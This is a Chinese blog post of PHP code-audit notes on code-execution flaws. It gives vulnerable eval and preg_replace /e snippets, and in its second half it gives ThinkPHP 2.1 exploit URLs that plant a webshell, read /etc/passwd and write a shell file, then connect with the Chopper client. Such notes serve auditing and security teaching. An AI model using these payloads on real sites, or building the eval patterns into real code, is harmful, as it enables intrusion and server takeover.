PHP代码审计笔记--代码执行漏洞

简介: 漏洞形成原因:客户端提交的参数,未经任何过滤,传入可以执行代码的函数,造成代码执行漏洞。 常见代码注射函数:   如:eval、preg_replace+/e、assert、call_user_func、call_user_func_array、create_function等函数     详见http://www.

 漏洞形成原因:客户端提交的参数,未经任何过滤,传入可以执行代码的函数,造成代码执行漏洞。

常见代码注射函数:

  如:eval、preg_replace+/e、assert、call_user_func、call_user_func_array、create_function等函数  

  详见http://www.cnblogs.com/xiaozi/p/7834367.html 

漏洞危害:执行代码,写入webshell、控制服务器

代码示例一:

<?php 
//?cmd=phpinfo();
@eval($_GET['cmd']);
?>

代码示例二:

<?php 
//?cmd=${phpinfo()} 
$str=$_GET['cmd']; eval('$str="'.$str.'";'); ?>

php 代码可以这样在双引号中被执行

代码示例三:

<?php 
//?cmd=%27);phpinfo();//
$str=$_GET['cmd'];
eval("strtolower('$str');");
?>

代码示例四:preg_replace函数

<?php
preg_replace("/<php>(.*?)<\/php>/e", '\1', "<php>phpinfo()</php>");
//等价于
preg_replace("/<php>(.*?)<\/php>/e", '${1}', "<php>phpinfo()</php>");
?>

 

参考:

慎用preg_replace危险的/e修饰符(一句话后门常用)

http://www.jb51.net/article/38714.htm

 

 

Thinkphp框架任意代码执行漏洞利用

# 一般找CMS相应版本漏洞,如ThinkPHP2.1 * 一句话
http://www.xxx.com/News/detail/id/{${@eval($_POST[aa])}} * 得到当前路径
http://www.xxx.com/News/detail/id/{${print(getcwd()))}} * 读文件
http://www.xxx.com/News/detail/id/{${exit(var_dump(file_get_contents($_POST['f'])))}} POST的数据为:f=/etc/passwd * 写shell http://www.xxx.com/News/detail/id/{${exit(var_dump(file_put_contents($_POST['f'],$_POST[d])))}} POST的数据为:f=1.php&d=<?php @eval($_POST['aa'])?>
 
直接执行一句话代码,然后用菜刀直接连接
http://site/index.php/module/action/param1/{${eval($_POST[s])}} 一句话密码:s

 

参考文章:

代码执行漏洞  http://www.jianshu.com/p/3f0cf18adbe7

PHP漏洞全解(详细介绍) http://www.jb51.net/article/31898.htm

PHP代码执行漏洞总结   http://blog.csdn.net/kuangmang/article/details/27170309

目录
相关文章
|
1月前
|
PHP 开发者
PHP中的命名空间:优雅解决代码冲突与组织结构
在PHP开发中,命名空间是一种重要的工具,可以帮助开发者避免代码冲突、提高代码组织结构和可读性。本文将深入探讨PHP中命名空间的概念、使用方法以及实际应用场景,帮助读者更好地理解和运用命名空间来优化他们的PHP代码。
拿php写个原生增删改查案例出来(提供全部代码+sql)
拿php写个原生增删改查案例出来(提供全部代码+sql)
拿php写个原生增删改查案例出来(提供全部代码+sql)
|
27天前
|
PHP
【攻防世界】easyphp(PHP代码审计)
【攻防世界】easyphp(PHP代码审计)
|
28天前
|
安全 PHP 开发工具
php代码加密 php-screw-plus
php代码加密 php-screw-plus
21 0
|
29天前
|
算法 PHP 数据安全/隐私保护
【实战】PHP代码逆向工具,轻松还原goto加密语句的神器!
`goto解密工具`是一款针对PHP的在线神器,能有效解密和还原goto加密代码,提升代码可读性和可维护性。支持单文件及50M压缩包一键解密,提供全效解决方案。通过实际案例展示了解密报错和理解复杂代码的能力,是PHP开发者解决goto难题的得力助手。立即体验:[在线PHP解密大师](https://copy.kaidala.com/dala/goto/index.html)。
22 1
|
29天前
|
算法 PHP 数据安全/隐私保护
【必备工具】解密PHP超强在线工具,一键goto代码解密
goto解密工具,php开发者的福音,能有效解密复杂的goto加密代码,提升代码可读性和可维护性。支持单文件及项目目录一键解密,最大处理50M压缩文件。通过具体案例展示其在解决报错和理解复杂开源项目中的强大功能。立即体验:https://copy.kaidala.com/dala/goto/index.html
32 0
|
2月前
|
PHP 开发者 UED
PHP 中的异常处理:提高代码健壮性的关键
【2月更文挑战第28天】在 PHP 开发中,异常处理是确保应用程序稳定性和可靠性的重要环节。本文将深入探讨 PHP 异常的概念、类型及其处理机制,并通过实例演示如何有效地捕获和处理异常,以增强代码的健壮性和用户体验。
|
3月前
|
JSON JavaScript Java
【PHP】英文博客专栏PHP快速入门个人笔记
【PHP】英文博客专栏PHP快速入门个人笔记
120 1